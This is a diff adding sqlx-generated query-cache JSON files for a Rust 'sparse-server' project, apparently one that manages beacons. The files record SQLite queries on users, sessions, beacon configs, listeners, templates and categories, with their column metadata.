||||||
|
"describe": {
|
||||||
|
"columns": [
|
||||||
|
{
|
||||||
|
"name": "operating_system",
|
||||||
|
"ordinal": 0,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "source_ip",
|
||||||
|
"ordinal": 1,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "source_mac",
|
||||||
|
"ordinal": 2,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "source_mode",
|
||||||
|
"ordinal": 3,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "source_netmask",
|
||||||
|
"ordinal": 4,
|
||||||
|
"type_info": "Integer"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "source_gateway",
|
||||||
|
"ordinal": 5,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "port",
|
||||||
|
"ordinal": 6,
|
||||||
|
"type_info": "Integer"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "public_ip",
|
||||||
|
"ordinal": 7,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "domain_name",
|
||||||
|
"ordinal": 8,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "certificate",
|
||||||
|
"ordinal": 9,
|
||||||
|
"type_info": "Blob"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "client_cert",
|
||||||
|
"ordinal": 10,
|
||||||
|
"type_info": "Blob"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "client_key",
|
||||||
|
"ordinal": 11,
|
||||||
|
"type_info": "Blob"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 0
|
||||||
|
},
|
||||||
|
"nullable": [
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
true,
|
||||||
|
true,
|
||||||
|
true,
|
||||||
|
true,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"hash": "0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-1404c625ce88169952e58cedf6ba37d4fa553efe75f3b8cedffb9fb76aab796a.json
generated
Normal file
12
sparse-server/.sqlx/query-1404c625ce88169952e58cedf6ba37d4fa553efe75f3b8cedffb9fb76aab796a.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "INSERT INTO beacon_config (config_name, mode, cron_schedule, cron_mode) VALUES (?, 'cron', ?, ?)",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 3
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "1404c625ce88169952e58cedf6ba37d4fa553efe75f3b8cedffb9fb76aab796a"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-315074dcb0dfe27f56155d443397764b75d4954caaf7d0d589b6c0f259ca828a.json
generated
Normal file
12
sparse-server/.sqlx/query-315074dcb0dfe27f56155d443397764b75d4954caaf7d0d589b6c0f259ca828a.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "DELETE FROM sessions WHERE expires < ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "315074dcb0dfe27f56155d443397764b75d4954caaf7d0d589b6c0f259ca828a"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-323c168e2bc3f7babacb22449b18699192a9e5dd809d2bf89906fb663dea45a6.json
generated
Normal file
12
sparse-server/.sqlx/query-323c168e2bc3f7babacb22449b18699192a9e5dd809d2bf89906fb663dea45a6.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "DELETE FROM beacon_category WHERE category_id = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "323c168e2bc3f7babacb22449b18699192a9e5dd809d2bf89906fb663dea45a6"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-36691252e9640a76c9381b00ab14931aaa45f8d1cd1de4697bcd726865719d70.json
generated
Normal file
12
sparse-server/.sqlx/query-36691252e9640a76c9381b00ab14931aaa45f8d1cd1de4697bcd726865719d70.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "INSERT INTO users (user_name, password_hash) VALUES (?, \"\")",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "36691252e9640a76c9381b00ab14931aaa45f8d1cd1de4697bcd726865719d70"
|
||||||
|
}
|
||||||
20
sparse-server/.sqlx/query-3f802dc13ded65f2532490e7dd6b9e109d34d70954e577e49cd2cc33d82e2111.json
generated
Normal file
20
sparse-server/.sqlx/query-3f802dc13ded65f2532490e7dd6b9e109d34d70954e577e49cd2cc33d82e2111.json
generated
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "SELECT COUNT(*) FROM users WHERE user_name = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [
|
||||||
|
{
|
||||||
|
"name": "COUNT(*)",
|
||||||
|
"ordinal": 0,
|
||||||
|
"type_info": "Integer"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": [
|
||||||
|
false
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"hash": "3f802dc13ded65f2532490e7dd6b9e109d34d70954e577e49cd2cc33d82e2111"
|
||||||
|
}
|
||||||
32
sparse-server/.sqlx/query-4eeb48b1e4f85bae416b9d91b663d25b9abb6ecb4a31700b95141937c2f8f1f9.json
generated
Normal file
32
sparse-server/.sqlx/query-4eeb48b1e4f85bae416b9d91b663d25b9abb6ecb4a31700b95141937c2f8f1f9.json
generated
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "SELECT user_id, user_name, last_active FROM users",
|
||||||
|
"describe": {
|
||||||
|
"columns": [
|
||||||
|
{
|
||||||
|
"name": "user_id",
|
||||||
|
"ordinal": 0,
|
||||||
|
"type_info": "Integer"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "user_name",
|
||||||
|
"ordinal": 1,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "last_active",
|
||||||
|
"ordinal": 2,
|
||||||
|
"type_info": "Integer"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 0
|
||||||
|
},
|
||||||
|
"nullable": [
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
true
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"hash": "4eeb48b1e4f85bae416b9d91b663d25b9abb6ecb4a31700b95141937c2f8f1f9"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-5e3b28324342aa12f62ddb4fc1643c865679472b6bfa81c9c24268d1a5f3a201.json
generated
Normal file
12
sparse-server/.sqlx/query-5e3b28324342aa12f62ddb4fc1643c865679472b6bfa81c9c24268d1a5f3a201.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "DELETE FROM sessions WHERE session_id = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "5e3b28324342aa12f62ddb4fc1643c865679472b6bfa81c9c24268d1a5f3a201"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-6bccf4d930b1603d7df48cdbc605dc9095185b0fdcc5bf3613966699a9e67577.json
generated
Normal file
12
sparse-server/.sqlx/query-6bccf4d930b1603d7df48cdbc605dc9095185b0fdcc5bf3613966699a9e67577.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "UPDATE users SET password_hash = ? WHERE user_id = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 2
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "6bccf4d930b1603d7df48cdbc605dc9095185b0fdcc5bf3613966699a9e67577"
|
||||||
|
}
|
||||||
20
sparse-server/.sqlx/query-844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c.json
generated
Normal file
20
sparse-server/.sqlx/query-844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c.json
generated
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "SELECT listener_id FROM beacon_listener",
|
||||||
|
"describe": {
|
||||||
|
"columns": [
|
||||||
|
{
|
||||||
|
"name": "listener_id",
|
||||||
|
"ordinal": 0,
|
||||||
|
"type_info": "Integer"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 0
|
||||||
|
},
|
||||||
|
"nullable": [
|
||||||
|
false
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"hash": "844be9e250c0d4348936645f9e0c0223a716c4443574411c6342f8ab26e9e81c"
|
||||||
|
}
|
||||||
26
sparse-server/.sqlx/query-86f197e514e8d55b95a71ab52b5901e939ee2c9e832ed1fae2661ad770d3ad60.json
generated
Normal file
26
sparse-server/.sqlx/query-86f197e514e8d55b95a71ab52b5901e939ee2c9e832ed1fae2661ad770d3ad60.json
generated
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "SELECT user_id, user_name FROM users;",
|
||||||
|
"describe": {
|
||||||
|
"columns": [
|
||||||
|
{
|
||||||
|
"name": "user_id",
|
||||||
|
"ordinal": 0,
|
||||||
|
"type_info": "Integer"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "user_name",
|
||||||
|
"ordinal": 1,
|
||||||
|
"type_info": "Text"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 0
|
||||||
|
},
|
||||||
|
"nullable": [
|
||||||
|
false,
|
||||||
|
false
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"hash": "86f197e514e8d55b95a71ab52b5901e939ee2c9e832ed1fae2661ad770d3ad60"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-8cbc48e1b7839c675f6b5237c97cab8b4e73d043ff3023cb2d3f8fd35f81fa9b.json
generated
Normal file
12
sparse-server/.sqlx/query-8cbc48e1b7839c675f6b5237c97cab8b4e73d043ff3023cb2d3f8fd35f81fa9b.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "UPDATE users SET last_active = ? WHERE user_id = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 2
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "8cbc48e1b7839c675f6b5237c97cab8b4e73d043ff3023cb2d3f8fd35f81fa9b"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-991188021c856fc4e3957b201095e4c73237011eba8ea010c6dbca959cb44ff9.json
generated
Normal file
12
sparse-server/.sqlx/query-991188021c856fc4e3957b201095e4c73237011eba8ea010c6dbca959cb44ff9.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "UPDATE sessions SET expires = ? WHERE session_id = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 2
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "991188021c856fc4e3957b201095e4c73237011eba8ea010c6dbca959cb44ff9"
|
||||||
|
}
|
||||||
38
sparse-server/.sqlx/query-9f670c6682e2ece7bc260dab048cc684ec070d024bf3fae99179c3b198d271f2.json
generated
Normal file
38
sparse-server/.sqlx/query-9f670c6682e2ece7bc260dab048cc684ec070d024bf3fae99179c3b198d271f2.json
generated
Normal file
@ -0,0 +1,38 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "SELECT listener_id, port, public_ip, domain_name FROM beacon_listener",
|
||||||
|
"describe": {
|
||||||
|
"columns": [
|
||||||
|
{
|
||||||
|
"name": "listener_id",
|
||||||
|
"ordinal": 0,
|
||||||
|
"type_info": "Integer"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "port",
|
||||||
|
"ordinal": 1,
|
||||||
|
"type_info": "Integer"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "public_ip",
|
||||||
|
"ordinal": 2,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "domain_name",
|
||||||
|
"ordinal": 3,
|
||||||
|
"type_info": "Text"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 0
|
||||||
|
},
|
||||||
|
"nullable": [
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"hash": "9f670c6682e2ece7bc260dab048cc684ec070d024bf3fae99179c3b198d271f2"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b.json
generated
Normal file
12
sparse-server/.sqlx/query-a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, source_netmask, source_gateway, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?)",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 11
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-aac17c689231512d93a930e857940754734bc05bbf01de6de3d0d7d012f56f7a.json
generated
Normal file
12
sparse-server/.sqlx/query-aac17c689231512d93a930e857940754734bc05bbf01de6de3d0d7d012f56f7a.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "INSERT INTO beacon_config (config_name, mode, regular_interval) VALUES (?, 'regular', ?)",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 2
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "aac17c689231512d93a930e857940754734bc05bbf01de6de3d0d7d012f56f7a"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5.json
generated
Normal file
12
sparse-server/.sqlx/query-ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?)",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 9
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-bfca9ab2de8aebb3ee449dd13b1dcc0b2fca914c810c6d9770456b8005b39d65.json
generated
Normal file
12
sparse-server/.sqlx/query-bfca9ab2de8aebb3ee449dd13b1dcc0b2fca914c810c6d9770456b8005b39d65.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "INSERT INTO beacon_listener (port, public_ip, domain_name, certificate, privkey) VALUES (?, ?, ?, ?, ?)",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 5
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "bfca9ab2de8aebb3ee449dd13b1dcc0b2fca914c810c6d9770456b8005b39d65"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-c76df8a49c3205ffc83f2d83d88f488d29af081f3e958d120ec2dbff137e9169.json
generated
Normal file
12
sparse-server/.sqlx/query-c76df8a49c3205ffc83f2d83d88f488d29af081f3e958d120ec2dbff137e9169.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "INSERT INTO beacon_category (category_name) VALUES (?)",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "c76df8a49c3205ffc83f2d83d88f488d29af081f3e958d120ec2dbff137e9169"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-d5e8215d1f66a864c4a0cc00384ad524260b8aa2a15c5a8637a5512babd3f607.json
generated
Normal file
12
sparse-server/.sqlx/query-d5e8215d1f66a864c4a0cc00384ad524260b8aa2a15c5a8637a5512babd3f607.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "DELETE FROM beacon_config WHERE config_id = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "d5e8215d1f66a864c4a0cc00384ad524260b8aa2a15c5a8637a5512babd3f607"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-dc999057d2f930da1de6f2f29f2419cb70acf9489c1b0ad5597b88deaf7322f2.json
generated
Normal file
12
sparse-server/.sqlx/query-dc999057d2f930da1de6f2f29f2419cb70acf9489c1b0ad5597b88deaf7322f2.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "INSERT INTO beacon_config (config_name, mode) VALUES (?, 'single')",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "dc999057d2f930da1de6f2f29f2419cb70acf9489c1b0ad5597b88deaf7322f2"
|
||||||
|
}
|
||||||
38
sparse-server/.sqlx/query-e0951ca9b4ff37ca9d9c8c4ea1ab618ad0dc8cdff118b6d801b568592762a29f.json
generated
Normal file
38
sparse-server/.sqlx/query-e0951ca9b4ff37ca9d9c8c4ea1ab618ad0dc8cdff118b6d801b568592762a29f.json
generated
Normal file
@ -0,0 +1,38 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "SELECT * FROM users WHERE user_name = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [
|
||||||
|
{
|
||||||
|
"name": "user_id",
|
||||||
|
"ordinal": 0,
|
||||||
|
"type_info": "Integer"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "user_name",
|
||||||
|
"ordinal": 1,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "password_hash",
|
||||||
|
"ordinal": 2,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "last_active",
|
||||||
|
"ordinal": 3,
|
||||||
|
"type_info": "Integer"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": [
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
true
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"hash": "e0951ca9b4ff37ca9d9c8c4ea1ab618ad0dc8cdff118b6d801b568592762a29f"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-e23a909ce85f0cd5d4464f0ef830aa449c471f540f90d407cd14a94f1fc451f4.json
generated
Normal file
12
sparse-server/.sqlx/query-e23a909ce85f0cd5d4464f0ef830aa449c471f540f90d407cd14a94f1fc451f4.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "DELETE FROM beacon_listener WHERE listener_id = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "e23a909ce85f0cd5d4464f0ef830aa449c471f540f90d407cd14a94f1fc451f4"
|
||||||
|
}
|
||||||
38
sparse-server/.sqlx/query-e3b0741df6722459f7b6830f5c50b72c3ac8c39d62ad97cf1d8a4d4b6d14309b.json
generated
Normal file
38
sparse-server/.sqlx/query-e3b0741df6722459f7b6830f5c50b72c3ac8c39d62ad97cf1d8a4d4b6d14309b.json
generated
Normal file
@ -0,0 +1,38 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "SELECT users.user_id, user_name, password_hash, last_active FROM users INNER JOIN sessions WHERE session_id = ? AND expires > ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [
|
||||||
|
{
|
||||||
|
"name": "user_id",
|
||||||
|
"ordinal": 0,
|
||||||
|
"type_info": "Integer"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "user_name",
|
||||||
|
"ordinal": 1,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "password_hash",
|
||||||
|
"ordinal": 2,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "last_active",
|
||||||
|
"ordinal": 3,
|
||||||
|
"type_info": "Integer"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 2
|
||||||
|
},
|
||||||
|
"nullable": [
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
true
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"hash": "e3b0741df6722459f7b6830f5c50b72c3ac8c39d62ad97cf1d8a4d4b6d14309b"
|
||||||
|
}
|
||||||
50
sparse-server/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json
generated
Normal file
50
sparse-server/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json
generated
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "SELECT * FROM beacon_listener WHERE listener_id = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [
|
||||||
|
{
|
||||||
|
"name": "listener_id",
|
||||||
|
"ordinal": 0,
|
||||||
|
"type_info": "Integer"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "port",
|
||||||
|
"ordinal": 1,
|
||||||
|
"type_info": "Integer"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "public_ip",
|
||||||
|
"ordinal": 2,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "domain_name",
|
||||||
|
"ordinal": 3,
|
||||||
|
"type_info": "Text"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "certificate",
|
||||||
|
"ordinal": 4,
|
||||||
|
"type_info": "Blob"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "privkey",
|
||||||
|
"ordinal": 5,
|
||||||
|
"type_info": "Blob"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": [
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"hash": "e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69"
|
||||||
|
}
|
||||||
26
sparse-server/.sqlx/query-ef7a4be566e0b4cd6d8a3b9a794de7b169e334ac96435f41e58ec809f0bdaabc.json
generated
Normal file
26
sparse-server/.sqlx/query-ef7a4be566e0b4cd6d8a3b9a794de7b169e334ac96435f41e58ec809f0bdaabc.json
generated
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "SELECT * FROM beacon_category",
|
||||||
|
"describe": {
|
||||||
|
"columns": [
|
||||||
|
{
|
||||||
|
"name": "category_id",
|
||||||
|
"ordinal": 0,
|
||||||
|
"type_info": "Integer"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "category_name",
|
||||||
|
"ordinal": 1,
|
||||||
|
"type_info": "Text"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 0
|
||||||
|
},
|
||||||
|
"nullable": [
|
||||||
|
false,
|
||||||
|
false
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"hash": "ef7a4be566e0b4cd6d8a3b9a794de7b169e334ac96435f41e58ec809f0bdaabc"
|
||||||
|
}
|
||||||
26
sparse-server/.sqlx/query-f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342.json
generated
Normal file
26
sparse-server/.sqlx/query-f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342.json
generated
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "SELECT certificate, privkey FROM beacon_listener WHERE listener_id = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [
|
||||||
|
{
|
||||||
|
"name": "certificate",
|
||||||
|
"ordinal": 0,
|
||||||
|
"type_info": "Blob"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "privkey",
|
||||||
|
"ordinal": 1,
|
||||||
|
"type_info": "Blob"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": [
|
||||||
|
false,
|
||||||
|
false
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"hash": "f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-f8f2ce90c22a9d9e69fc3f8a4f24ec537884627ec03fa91c59105f494716ef38.json
generated
Normal file
12
sparse-server/.sqlx/query-f8f2ce90c22a9d9e69fc3f8a4f24ec537884627ec03fa91c59105f494716ef38.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "UPDATE beacon_category SET category_name = ? WHERE category_id = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 2
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
"hash": "f8f2ce90c22a9d9e69fc3f8a4f24ec537884627ec03fa91c59105f494716ef38"
|
||||||
|
}
|
||||||
12
sparse-server/.sqlx/query-fe857854bbacf9e8fc44ef0dffc2d5e15da15f805064f1e969a1d6d9516294b6.json
generated
Normal file
12
sparse-server/.sqlx/query-fe857854bbacf9e8fc44ef0dffc2d5e15da15f805064f1e969a1d6d9516294b6.json
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"db_name": "SQLite",
|
||||||
|
"query": "DELETE FROM users WHERE user_id = ?",
|
||||||
|
"describe": {
|
||||||
|
"columns": [],
|
||||||
|
"parameters": {
|
||||||
|
"Right": 1
|
||||||
|
},
|
||||||
|
"nullable": []
|
||||||
|
},
|
||||||
|
